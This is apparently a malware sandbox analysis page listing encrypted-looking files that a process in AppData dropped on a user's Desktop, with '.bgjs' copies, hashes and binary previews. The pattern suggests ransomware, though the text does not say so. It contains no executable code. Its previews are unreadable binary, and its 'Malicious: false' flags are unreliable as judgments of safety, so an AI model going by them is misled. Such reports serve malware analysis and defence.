MD5:	0DACB0C04916834C195FD392238F6147
SHA1:	D7CC519351D2BA24688E52E31DD6B5B04440F8AD
SHA-256:	857DED8E822218F80050D1C4B8DD860B6A81A96ABC075BCD78701C845255640B
SHA-512:	D2738C32F8C05B02B1DAD880ADA854F6A190F7C5285516B44D3C62D6914986D67AE99D70D38CEF69195601977F2AF37F700B53ED959B20E2CDF2439124AC1C87
Malicious:	false
Preview:	BJZFP%x.#.Y.4.".:\...wJ..C....i.....W.B.... c....9B..C.....r..J.6.O3t..\|.........r...].?...U.NBH.EW?.\|..g..mk#....x...CCA. t..-..... ....E.....c....'...?....Ft..=..}..#;..P...b...........pT...s..ca..J\|.V...;...%.0...0\|.:Y.y.s......._.q..)....f..c....2X3E%..6GG.#...n6.j.....X. .L....^.K.-Lg.Bz9.j..<......z...C....q..r.p..\|......JaJ.7Z:D.....j5...L.x._..!.5o.e....4..e.u.L.o...:.C0...D....]l..y.]A..K..6@......Ue..uh.[J..=.....PH\|l8DUS...D...ks.7s..j>.fw....x..H!q...;.:.9...%.N.....J.w).Xra2.hPv.q..-.8.a..].F..C..@..%S...0.cR..u..%}h..r.J.....d......Zi...4o\..8.e7.=.R..v..qK.........W.eH).D....!..../........-..w.&.B}...Y\C.@6 .[S..5....b...s.....h...._T7........I....KP.....{.,..%U.....8....i'7.w.L0.Z.Ro..gZ..\.Ai..Y.8.......T..2M...}xU..r:K.;....l).^.........oG..%.r......EM.<.F..j.w.ai..#".(..0.I+....8..2...=2Tnx.g.[0....LW..V..o.'.CEN\|m.....v._.e^y..G.s4.C...(Z..M.Y..v.1.>%..T......{..0.....&j.....?..w..7...S....'t.u..V.4.N......*Gf.6...Y..Q.

C:\Users\user\Desktop\EEGWXUHVUG\DUUDTUBZFW.jpg

Download File

Process:	C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.861250062312606
Encrypted:	false
SSDEEP:	24:nZVyld4zXbipWxKFnP6NWYkhfAeExwHNmqkupzI/nmKvy49E8MGAzityJkhsbD:nk4ipJP+WYofPN2QzIPmKvyCE8MGqQmD
MD5:	12495CC6657CA3808CD675D83DC527F6
SHA1:	A904A8402C821E6F788A810DB23191C010C0D5C7
SHA-256:	395D5CE380E06B775EE90F105155666F3AD482499B037DA68DC9508601157451
SHA-512:	A53F13F788B6EB4525BD1333BA15EA6068F5B0EB8DA0A4EEC47254763F0CEC4DE99DEDCACA6C6D747D01191AD0C1B515DEE99C0CB8F1E38F57AC5FF3B0DCAFDD
Malicious:	false
Preview:	DUUDT..[...K..c.._crc.8.sI..I3k.. .p..w..P.m.O.nw/E.J.....q.8\|..6.O..jY.a..y...\Y....{U...&z........\|...l..%...Y3K........!x.....B.=..Ln..x..2.... z..:.}%...7"q.{.o...a.`Y.%...#..[.z.;....k.@.c.].O..W.............3.h....w......\'...o....V....X.u.[........Y.M.T1..{.G.L.S.......J.......VUP..%'....d7....T@..0.~p=..;...2.ku...\|1.N.{.P-`.~%....IR!.2>z...S.....e....S..t...Z.r.Ho..../...!...[b........TH.3....@.>O..&...^.2.jr.%8.. .c6l*`=...!Pg+/.._..<Q....zY..Z....N+\|.46...'....[..n...iN......:...V....7..4z....:...R.....7.]...\s.<.K\|....U..:3..j...s..&......m.....Hi.>........c...t..e./x]..{..[..T...TF.V..-:......d../>..i..k..ZpD~.4M1L..}-)...d.....V.5]..7&jF..bGH..Kz...r.&..=........v..1..?.<n...\.2)....R..9...$....i..aw......B^...X......a.....A..J....%..N..$........h_\.7..[.CE.iv.fOtt.......l..Uu..7..%...<.n.d.....R.?.j... p,...&.T..p>+.5..)T./..@1J...~.....@m.... .AY...o.H.=......j.H5._nD.....:........j.d.O.m..x.H.M.@i.x..

C:\Users\user\Desktop\EEGWXUHVUG\DUUDTUBZFW.jpg.bgjs (copy)

Download File

Process:	C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.861250062312606
Encrypted:	false
SSDEEP:	24:nZVyld4zXbipWxKFnP6NWYkhfAeExwHNmqkupzI/nmKvy49E8MGAzityJkhsbD:nk4ipJP+WYofPN2QzIPmKvyCE8MGqQmD
MD5:	12495CC6657CA3808CD675D83DC527F6
SHA1:	A904A8402C821E6F788A810DB23191C010C0D5C7
SHA-256:	395D5CE380E06B775EE90F105155666F3AD482499B037DA68DC9508601157451
SHA-512:	A53F13F788B6EB4525BD1333BA15EA6068F5B0EB8DA0A4EEC47254763F0CEC4DE99DEDCACA6C6D747D01191AD0C1B515DEE99C0CB8F1E38F57AC5FF3B0DCAFDD
Malicious:	false
Preview:	DUUDT..[...K..c.._crc.8.sI..I3k.. .p..w..P.m.O.nw/E.J.....q.8\|..6.O..jY.a..y...\Y....{U...&z........\|...l..%...Y3K........!x.....B.=..Ln..x..2.... z..:.}%...7"q.{.o...a.`Y.%...#..[.z.;....k.@.c.].O..W.............3.h....w......\'...o....V....X.u.[........Y.M.T1..{.G.L.S.......J.......VUP..%'....d7....T@..0.~p=..;...2.ku...\|1.N.{.P-`.~%....IR!.2>z...S.....e....S..t...Z.r.Ho..../...!...[b........TH.3....@.>O..&...^.2.jr.%8.. .c6l*`=...!Pg+/.._..<Q....zY..Z....N+\|.46...'....[..n...iN......:...V....7..4z....:...R.....7.]...\s.<.K\|....U..:3..j...s..&......m.....Hi.>........c...t..e./x]..{..[..T...TF.V..-:......d../>..i..k..ZpD~.4M1L..}-)...d.....V.5]..7&jF..bGH..Kz...r.&..=........v..1..?.<n...\.2)....R..9...$....i..aw......B^...X......a.....A..J....%..N..$........h_\.7..[.CE.iv.fOtt.......l..Uu..7..%...<.n.d.....R.?.j... p,...&.T..p>+.5..)T./..@1J...~.....@m.... .AY...o.H.=......j.H5._nD.....:........j.d.O.m..x.H.M.@i.x..

C:\Users\user\Desktop\EEGWXUHVUG\EFOYFBOLXA.xlsx

Download File

Process:	C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.864123852785033
Encrypted:	false
SSDEEP:	24:X1PvjlMaEQO0Oa5Ki+XIos1sNjBWsaZH4uXYTmNO0mKrzNzrGc6sbD:95Mv0OwATNjBz7FeOhKrJzrGc6mD
MD5:	255D783F9A27379FAEB70B111A93DEDB
SHA1:	6BB96396ECF975A63C02499FF794ECAE5ACDA25D
SHA-256:	E4AAFFC708AE5E8695C0D9E2D2A2DE9B9FA7FCE1A787568AECDBB9F972C1D5C4
SHA-512:	0E23362C70106A551EE63683F3BA7CD570DFD50C935BDADC671A1376DF5F507B522C61E8D58E0BB9CF2BC418E453E8B7CFD2F9A6E4CD0ABACF75ED2733786CB3
Malicious:	false
Preview:	EFOYFrf.&.r.&U..b"..{....6..6@~......X..F..q e>..r`<;......... .....\y.}....rV;.g..,.gW;.D$.+..^...P...8DH.....q.m&X..{.#.. j..Z.......m..2...g....tH.....Dk.......l...ik.6-....t....AV}k.'t.@...xTi...m..a.Qy..s#Q...<.......C.r..[`.A.h$.@o...`#...U....Z.K....}.7A..dp.....4..Y....(..#.I...Xe..9......w.._..\|Q.E..SNx......+...L.......;..{{..J..Q\|.n(..=<.wj...J..q,.^.U..-.Q._g......en....].....S....j.Ul.........a~......S..>\|.pL.~ l]...v...dPbU...<..L&}."s.z..Df!$.....,0.c....r...2g).aYLn..9...2..;..[..:...m..}.<..A...>.o.<*.Ud.P.....6.)!.. .&.K...M..0....i..O.t.=.....p1O.a.-.8./R...6fs!df....T...p.v.D..Y....;..A.@!.(h.M....T.B....u..f....9..U{..-s:.gsm.".Mx\.v.m.[......B.../"..u-.L.o.....6(...o....q...k=....D...b......$){...P1....4o....F..Q.f....Kf.;.4.........7%.x7...@.....T[....W0.C..p.G.5.........1..p.....8.y?X.z+..c{..6...b...[..8.E.f.........[A.:..X\.0X..#.Py..L..3'........C..X...sH.iC...w.-....E.=.T3I.2..4.+..Z..8'.F.iAiD..f..7....d....}d6..v

C:\Users\user\Desktop\EEGWXUHVUG\EFOYFBOLXA.xlsx.bgjs (copy)

Download File

Process:	C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.864123852785033
Encrypted:	false
SSDEEP:	24:X1PvjlMaEQO0Oa5Ki+XIos1sNjBWsaZH4uXYTmNO0mKrzNzrGc6sbD:95Mv0OwATNjBz7FeOhKrJzrGc6mD
MD5:	255D783F9A27379FAEB70B111A93DEDB
SHA1:	6BB96396ECF975A63C02499FF794ECAE5ACDA25D
SHA-256:	E4AAFFC708AE5E8695C0D9E2D2A2DE9B9FA7FCE1A787568AECDBB9F972C1D5C4
SHA-512:	0E23362C70106A551EE63683F3BA7CD570DFD50C935BDADC671A1376DF5F507B522C61E8D58E0BB9CF2BC418E453E8B7CFD2F9A6E4CD0ABACF75ED2733786CB3
Malicious:	false
Preview:	EFOYFrf.&.r.&U..b"..{....6..6@~......X..F..q e>..r`<;......... .....\y.}....rV;.g..,.gW;.D$.+..^...P...8DH.....q.m&X..{.#.. j..Z.......m..2...g....tH.....Dk.......l...ik.6-....t....AV}k.'t.@...xTi...m..a.Qy..s#Q...<.......C.r..[`.A.h$.@o...`#...U....Z.K....}.7A..dp.....4..Y....(..#.I...Xe..9......w.._..\|Q.E..SNx......+...L.......;..{{..J..Q\|.n(..=<.wj...J..q,.^.U..-.Q._g......en....].....S....j.Ul.........a~......S..>\|.pL.~ l]...v...dPbU...<..L&}."s.z..Df!$.....,0.c....r...2g).aYLn..9...2..;..[..:...m..}.<..A...>.o.<*.Ud.P.....6.)!.. .&.K...M..0....i..O.t.=.....p1O.a.-.8./R...6fs!df....T...p.v.D..Y....;..A.@!.(h.M....T.B....u..f....9..U{..-s:.gsm.".Mx\.v.m.[......B.../"..u-.L.o.....6(...o....q...k=....D...b......$){...P1....4o....F..Q.f....Kf.;.4.........7%.x7...@.....T[....W0.C..p.G.5.........1..p.....8.y?X.z+..c{..6...b...[..8.E.f.........[A.:..X\.0X..#.Py..L..3'........C..X...sH.iC...w.-....E.=.T3I.2..4.+..Z..8'.F.iAiD..f..7....d....}d6..v

C:\Users\user\Desktop\EEGWXUHVUG\ZGGKNSUKOP.png

Download File

Process:	C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.854610495401368
Encrypted:	false
SSDEEP:	24:teT2gvb/AnkPbsR1lDhU1QnU0urN8PM55XIqCHIFJr2AW1Jh1BXhL6f8sbD:teT2GTPul62PeNZ5uqN3rn+JvBXYf8mD
MD5:	3A797ACE0088BB685D7F2A1024F73F84
SHA1:	E94E2782E69475401E646B0B4F380185BB91238A
SHA-256:	DF85C543BC0A957112D894CFD522BBDF35D168C24C84BB9584E763A41784AEB1
SHA-512:	6B5A13F595D30FA3A95635480B28B226EB4818C37EA86E65949171648FB14FC6105BA0EFD30D6D290A939FD24982BE3EA3319B01BE89516D7BE03CAA7DF6F341
Malicious:	false
Preview:	ZGGKN..x...h.c..V...s.%U..P...G.J.Q...s.......NS`.b...%..8;....-..&Y.3Go..c.H..aF@7..H$.?=.v[...2....6..~.L.;.1o...,a.3Hn.7jH..T.Hu.%i..g....e.U...c.?L.f.3..^[..K.J2..s..d;E.l&}...<........L.... .V.....Tq3I.&...M..p.D..(.K..CS..5..L.\E.m..R...n.[ZXH...YM .6{..y..~.o...^..TR..0.3. S.+...$...R"."I..}...j.j..@U....v6.)\..s.#8./l..\.G...6....j<.zeC.l.f......eU..-Xjt..U..l.bE..7.2.>.w..l.~.....e..<...5E.X.M`.#Xg^.i....>.&...Y.."4..S.e._..T..p....'..2....'.;[.....9Qx!..mB..i..Ky.IH..&...]...h.p.N.\|.S0.~.........EF.}$..A`.3'P..f.TV.J3R....Z.......C4...@^V ..;N....a...x.-..^-..t...b...c1.{#}-RgtD..X2 ..%<"M...L.......n..6......W.u..:jk.Q..k..).w!...f.4(.m....~.%Qz...gh".F..\.... .....M.H.Y.p*F....C[.6......wP..Oyk...9X..N..Zfy..1..r...&.Zy.)%..{.mPdt\8{..(............Xd.Fv=...L.I?.g.=.Y.0\.#9.XP.Sn...$g...pc.P:N..[.4..... .!......,KU.w.....5..l...../\.J.]......D..C...Qi...W....._..."U...q......k......v.U.L.Sz.8.......P...5.o.p....L...H}....

C:\Users\user\Desktop\EEGWXUHVUG\ZGGKNSUKOP.png.bgjs (copy)

Download File

Process:	C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.854610495401368
Encrypted:	false
SSDEEP:	24:teT2gvb/AnkPbsR1lDhU1QnU0urN8PM55XIqCHIFJr2AW1Jh1BXhL6f8sbD:teT2GTPul62PeNZ5uqN3rn+JvBXYf8mD
MD5:	3A797ACE0088BB685D7F2A1024F73F84
SHA1:	E94E2782E69475401E646B0B4F380185BB91238A
SHA-256:	DF85C543BC0A957112D894CFD522BBDF35D168C24C84BB9584E763A41784AEB1
SHA-512:	6B5A13F595D30FA3A95635480B28B226EB4818C37EA86E65949171648FB14FC6105BA0EFD30D6D290A939FD24982BE3EA3319B01BE89516D7BE03CAA7DF6F341
Malicious:	false
Preview:	ZGGKN..x...h.c..V...s.%U..P...G.J.Q...s.......NS`.b...%..8;....-..&Y.3Go..c.H..aF@7..H$.?=.v[...2....6..~.L.;.1o...,a.3Hn.7jH..T.Hu.%i..g....e.U...c.?L.f.3..^[..K.J2..s..d;E.l&}...<........L.... .V.....Tq3I.&...M..p.D..(.K..CS..5..L.\E.m..R...n.[ZXH...YM .6{..y..~.o...^..TR..0.3. S.+...$...R"."I..}...j.j..@U....v6.)\..s.#8./l..\.G...6....j<.zeC.l.f......eU..-Xjt..U..l.bE..7.2.>.w..l.~.....e..<...5E.X.M`.#Xg^.i....>.&...Y.."4..S.e._..T..p....'..2....'.;[.....9Qx!..mB..i..Ky.IH..&...]...h.p.N.\|.S0.~.........EF.}$..A`.3'P..f.TV.J3R....Z.......C4...@^V ..;N....a...x.-..^-..t...b...c1.{#}-RgtD..X2 ..%<"M...L.......n..6......W.u..:jk.Q..k..).w!...f.4(.m....~.%Qz...gh".F..\.... .....M.H.Y.p*F....C[.6......wP..Oyk...9X..N..Zfy..1..r...&.Zy.)%..{.mPdt\8{..(............Xd.Fv=...L.I?.g.=.Y.0\.#9.XP.Sn...$g...pc.P:N..[.4..... .!......,KU.w.....5..l...../\.J.]......D..C...Qi...W....._..."U...q......k......v.U.L.Sz.8.......P...5.o.p....L...H}....

C:\Users\user\Desktop\EFOYFBOLXA\GIGIYTFFYT.jpg

Download File

Process:	C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.854569855633625
Encrypted:	false
SSDEEP:	24:P8+mz2P23Z/oIIkBLIPPHczeBBmSdsuaX9Ekz8daEuSHETOfcisAMGJ/EfsbD:k+A2Op/o3kVkPH4SdsxO7hETO0R/6/EG
MD5:	18ABEB77AA4B0E2364A317E9501A0386
SHA1:	98FFC34B5BCFDF764355301F988377FE23C90F6A
SHA-256:	AAEA1FB1D3F0E5BB70E1CC45AD181771E8308D6AB46EC4A217AA2DEBF62E22BC
SHA-512:	883031B2613C826CF5850F88A5042988E8A78FA66F193AB7D416731E3D16A5470587B34328FD3138DA0211F8983623EBA78EDEA83BAF6FF22B151AD68BE40551
Malicious:	false
Preview:	GIGIY;....@..I.g.~.nm..m.c8.i.M..&_.i^.AD....0.y..+............].(M.2.....2.n..6.....n.....x..f;b.%....7..&}.s...(r.....[..{?<.c<..g.f..[.V.....[.2.hk.r.EhV...ALm.......C^.Cp}..<..Ed..7..............v.&.!.=.q[..P2v.4.Q.`...L^..........i.Q....e...........j#.....a..s\.x...E...J.6.s.C0.....5..nn{8.2dB.>...]... lM........R.._..+...j.kS ..b.......4.MK.,..<.....aM....`..u.m...6..o......(..4.....^...+D..Gv-....'J..T.5N.8.0.4...OC..K........UDy...,........{.....6.....C..I(..h...{..#.9.....K.t...z.x........!.w.S..._fY!.#w+..X...;Z....3..`017......)q...9\|3.{...x..a..F.....Z...Q.......P\..u..:...q...z..\.8.5..(.v&...../..<...l...w&.bv...,0N}-.=.?..;l[.3......g.S.j..DL.AWjb..2..H.f.Z...,N....#?n....U.4._:Xj..>...+.I...D.F..x.{g>..{.@..,...ZL....H>..Y.h\|...mm..z.......g...h...>.].b....I.._.h.X3.i.....$.l.}x.%.d..xJ...NOma.........X...s.U.g:gk.,..5..5n.,.l....A..p.!_......`...nI..H.T.....!..N..0..U<.yH.5E:.b..q..[.'!_...u..Y...)....~Yv.#8..

C:\Users\user\Desktop\EFOYFBOLXA\GIGIYTFFYT.jpg.bgjs (copy)

Download File

Process:	C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.854569855633625
Encrypted:	false
SSDEEP:	24:P8+mz2P23Z/oIIkBLIPPHczeBBmSdsuaX9Ekz8daEuSHETOfcisAMGJ/EfsbD:k+A2Op/o3kVkPH4SdsxO7hETO0R/6/EG
MD5:	18ABEB77AA4B0E2364A317E9501A0386
SHA1:	98FFC34B5BCFDF764355301F988377FE23C90F6A
SHA-256:	AAEA1FB1D3F0E5BB70E1CC45AD181771E8308D6AB46EC4A217AA2DEBF62E22BC
SHA-512:	883031B2613C826CF5850F88A5042988E8A78FA66F193AB7D416731E3D16A5470587B34328FD3138DA0211F8983623EBA78EDEA83BAF6FF22B151AD68BE40551
Malicious:	false
Preview:	GIGIY;....@..I.g.~.nm..m.c8.i.M..&_.i^.AD....0.y..+............].(M.2.....2.n..6.....n.....x..f;b.%....7..&}.s...(r.....[..{?<.c<..g.f..[.V.....[.2.hk.r.EhV...ALm.......C^.Cp}..<..Ed..7..............v.&.!.=.q[..P2v.4.Q.`...L^..........i.Q....e...........j#.....a..s\.x...E...J.6.s.C0.....5..nn{8.2dB.>...]... lM........R.._..+...j.kS ..b.......4.MK.,..<.....aM....`..u.m...6..o......(..4.....^...+D..Gv-....'J..T.5N.8.0.4...OC..K........UDy...,........{.....6.....C..I(..h...{..#.9.....K.t...z.x........!.w.S..._fY!.#w+..X...;Z....3..`017......)q...9\|3.{...x..a..F.....Z...Q.......P\..u..:...q...z..\.8.5..(.v&...../..<...l...w&.bv...,0N}-.=.?..;l[.3......g.S.j..DL.AWjb..2..H.f.Z...,N....#?n....U.4._:Xj..>...+.I...D.F..x.{g>..{.@..,...ZL....H>..Y.h\|...mm..z.......g...h...>.].b....I.._.h.X3.i.....$.l.}x.%.d..xJ...NOma.........X...s.U.g:gk.,..5..5n.,.l....A..p.!_......`...nI..H.T.....!..N..0..U<.yH.5E:.b..q..[.'!_...u..Y...)....~Yv.#8..

C:\Users\user\Desktop\EFOYFBOLXA\PALRGUCVEH.xlsx

Download File

Process:	C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.873121273061771
Encrypted:	false
SSDEEP:	24:pnBOyob9pxQamYqR0kXjE8eydjLpLLOZlDRy3IPODwv0ByxdWk5zJbIsbD:XOlbvObbRvtVpLSWDzk5l8mD
MD5:	16F6473053A85A10BC6E23F201EF7B3C
SHA1:	A630D437461279B509C8F8D9E1913D7919984EA2
SHA-256:	AEA5474F903146FEB5732B3EE7B93813734265B638AF6DE8B4CC1A6D0779BB34
SHA-512:	BA94F3A55688B6BA22DC2A175461DE53C275700AF38D0AA9B3D4FE7166C7050E1DA5DE3B759A3BDF7C45A9C6506E3B6CE9688ACC16560EC9E71E157E48B60937
Malicious:	false
Preview:	PALRG$....L..j...p...:\^..C.....!..Q...)Obp.o.[.7..c.W.H?E.RM..E.D.vx.m.m..#W;...V./.B:.'..7.,_>.IX...Q..j...i.}...."./.@...n.M........o....=d.@..O...T..e......L...h..n.R......(H.X.I...p:.....'. .r..i..\|I.T+3.S......!.+Y..l.I.../.X..E.....6:^...@E..eb.j[8F.L....NY...N.c...(....".[DIp.....MR..n...Ue.goh7h..l(.....P,B.`.`q..j.%.y..!ck^......T..R..;RYg...3..O...K#2n..J.w1.".Z....?t....\.>..meN.8.(m..F.?...H..a...2yG...$.T8."w@It.p,$S.......S........".......9+M$}..p...EP..._Ca..p4.J.C7......+f..u...G.R...."T.7....r.^2.k..X.,I....@...S.o....V........(..._o.....o....T.]...C.({...\m..t...>\|eA.9....).F....B...d.t..-(`....$G.X.92...-j-..PF.....H.?......Q..+...K#?U..[...V...EN...zN.....~......f...T.w.sqJ....k.jw.v.[...1...Z3+A.. .$b....b...,..]....<u..g.6..@/.Z...jx...%43...,...m..U........N."..0....J...FU..U.. ...9G..qn...Q."\|..A..+.`Q..,.,rI.z........{.......x.k@.}.[..u..a...s...].=...A_ o...&..X .Y+.ig...l <..~).8hf.;..}.Ab........c......h..k

C:\Users\user\Desktop\EFOYFBOLXA\PALRGUCVEH.xlsx.bgjs (copy)

Download File

Process:	C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.873121273061771
Encrypted:	false
SSDEEP:	24:pnBOyob9pxQamYqR0kXjE8eydjLpLLOZlDRy3IPODwv0ByxdWk5zJbIsbD:XOlbvObbRvtVpLSWDzk5l8mD
MD5:	16F6473053A85A10BC6E23F201EF7B3C
SHA1:	A630D437461279B509C8F8D9E1913D7919984EA2
SHA-256:	AEA5474F903146FEB5732B3EE7B93813734265B638AF6DE8B4CC1A6D0779BB34
SHA-512:	BA94F3A55688B6BA22DC2A175461DE53C275700AF38D0AA9B3D4FE7166C7050E1DA5DE3B759A3BDF7C45A9C6506E3B6CE9688ACC16560EC9E71E157E48B60937
Malicious:	false
Preview:	PALRG$....L..j...p...:\^..C.....!..Q...)Obp.o.[.7..c.W.H?E.RM..E.D.vx.m.m..#W;...V./.B:.'..7.,_>.IX...Q..j...i.}...."./.@...n.M........o....=d.@..O...T..e......L...h..n.R......(H.X.I...p:.....'. .r..i..\|I.T+3.S......!.+Y..l.I.../.X..E.....6:^...@E..eb.j[8F.L....NY...N.c...(....".[DIp.....MR..n...Ue.goh7h..l(.....P,B.`.`q..j.%.y..!ck^......T..R..;RYg...3..O...K#2n..J.w1.".Z....?t....\.>..meN.8.(m..F.?...H..a...2yG...$.T8."w@It.p,$S.......S........".......9+M$}..p...EP..._Ca..p4.J.C7......+f..u...G.R...."T.7....r.^2.k..X.,I....@...S.o....V........(..._o.....o....T.]...C.({...\m..t...>\|eA.9....).F....B...d.t..-(`....$G.X.92...-j-..PF.....H.?......Q..+...K#?U..[...V...EN...zN.....~......f...T.w.sqJ....k.jw.v.[...1...Z3+A.. .$b....b...,..]....<u..g.6..@/.Z...jx...%43...,...m..U........N."..0....J...FU..U.. ...9G..qn...Q."\|..A..+.`Q..,.,rI.z........{.......x.k@.}.[..u..a...s...].=...A_ o...&..X .Y+.ig...l <..~).8hf.;..}.Ab........c......h..k

C:\Users\user\Desktop\GRXZDKKVDB.png

Download File

Process:	C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.845164200508801
Encrypted:	false
SSDEEP:	24:R2QEex6sFA50N5sNBXu9gwszHMxc8Bm0vyXl391uFw5i/sbD:kQ9/+E5wu9yDMc0vyXHdi/mD
MD5:	A05317793FD0A910D6BA37B72836EF3F
SHA1:	B0F69098CAE1F385B08B9EF877D15E6D28E98E28
SHA-256:	096EE1425B8832774CF856B2FBB1FF23507C45A4378E9BF43F6FCB33F29B0A34
SHA-512:	F518D26FEE568015B30C379A31B67EC902E68D6F698E3742A694FE7C3994F8BCF50EB5B1C0868292B43FBD13896671D3FEFF4711F406AB7570DA7F78E69D4733
Malicious:	false
Preview:	GRXZDbg.../......\|.N..[".......x4.<...\....f......+.k........6>.....um.h...........?...Zm.@....o@vUs.>...Q.0=.J2ks&.l.-.{...$..j..a.h.\|..O_Oj..O.I.c!".,..H,..(..4.-....2L\|.kEu0...s...dJ.......B(G....c..s_7.J.3...9..x......3...x...[....S...gR.x....q.~r..HD>.P]C(>...9.!J.....P.Y.'...$c.q........w.Y...../j.g.s.G._.=C....g....~.6.G..A...!.}~....r +.7......b....F.H.}...wwz;..x.s...E.L.......t....6.bb.X...o/.c?....TT."..".0.^t.8.........Z:...t.....)... F.Y........2.%.uP.=..5..%TA{..]..C..L"J...f.Z.l0\|..HZ.....v.3/:^..k.".I..;..l6.O.S0....3.........zJ......k.A>.\|;....n:.?MB..z.z._.y%...m7n[^.t...G.+).x.j.M7..\|......U.,/x%h..I..\|t...9QNS.UK.G%....&.Y(1..(5N...=....e..(h'.O..&C..U.,.0I...g_5...R."....;!0.<............)D0{..[....(\|.H.U...7-.k9a..}......-...'........S.F.8./.fI3....]..aG.8(...j...%+.8..,.,..z.2.?.....V.P...YH...x.n.Y.s.A.V..i....M5..p...%.Y....N...)v...<..-).8...]W.0....F?..g....j...-W....k.,!R...[...u8f.Y ......w.\|.n......F

C:\Users\user\Desktop\GRXZDKKVDB.png.bgjs (copy)

Download File

Process:	C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.845164200508801
Encrypted:	false
SSDEEP:	24:R2QEex6sFA50N5sNBXu9gwszHMxc8Bm0vyXl391uFw5i/sbD:kQ9/+E5wu9yDMc0vyXHdi/mD
MD5:	A05317793FD0A910D6BA37B72836EF3F
SHA1:	B0F69098CAE1F385B08B9EF877D15E6D28E98E28
SHA-256:	096EE1425B8832774CF856B2FBB1FF23507C45A4378E9BF43F6FCB33F29B0A34
SHA-512:	F518D26FEE568015B30C379A31B67EC902E68D6F698E3742A694FE7C3994F8BCF50EB5B1C0868292B43FBD13896671D3FEFF4711F406AB7570DA7F78E69D4733
Malicious:	false
Preview:	GRXZDbg.../......\|.N..[".......x4.<...\....f......+.k........6>.....um.h...........?...Zm.@....o@vUs.>...Q.0=.J2ks&.l.-.{...$..j..a.h.\|..O_Oj..O.I.c!".,..H,..(..4.-....2L\|.kEu0...s...dJ.......B(G....c..s_7.J.3...9..x......3...x...[....S...gR.x....q.~r..HD>.P]C(>...9.!J.....P.Y.'...$c.q........w.Y...../j.g.s.G._.=C....g....~.6.G..A...!.}~....r +.7......b....F.H.}...wwz;..x.s...E.L.......t....6.bb.X...o/.c?....TT."..".0.^t.8.........Z:...t.....)... F.Y........2.%.uP.=..5..%TA{..]..C..L"J...f.Z.l0\|..HZ.....v.3/:^..k.".I..;..l6.O.S0....3.........zJ......k.A>.\|;....n:.?MB..z.z._.y%...m7n[^.t...G.+).x.j.M7..\|......U.,/x%h..I..\|t...9QNS.UK.G%....&.Y(1..(5N...=....e..(h'.O..&C..U.,.0I...g_5...R."....;!0.<............)D0{..[....(\|.H.U...7-.k9a..}......-...'........S.F.8./.fI3....]..aG.8(...j...%+.8..,.,..z.2.?.....V.P...YH...x.n.Y.s.A.V..i....M5..p...%.Y....N...)v...<..-).8...]W.0....F?..g....j...-W....k.,!R...[...u8f.Y ......w.\|.n......F

C:\Users\user\Desktop\PALRGUCVEH.xlsx

Download File

Process:	C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.851591771675054
Encrypted:	false
SSDEEP:	24:Zkt5fdmAZQRe4YyFc2k/1z4Q8pVjkccVNxdrwKnyBLg2fL1CvvsbD:ZktBdmAZQQyA1uFktVNxqX0vvmD
MD5:	EB7C98BC0BE8760EBF246C031CE9C89C
SHA1:	0683E511CD8BA0B2815481756F80C601217ADD18
SHA-256:	343AF3DF65D1E0BCE97CD856BB870ED62866EF3CB31405A45EF61F327E9111F5
SHA-512:	5F30B32697F0D30A93E019B84C5E53E34B2EC055BF4EEEFB4FC24C8424E638FD1EAD0FDB0C308E746E74DABD5E15A296FC51FC8F3E5441C7C5BE96B91C21914D
Malicious:	false
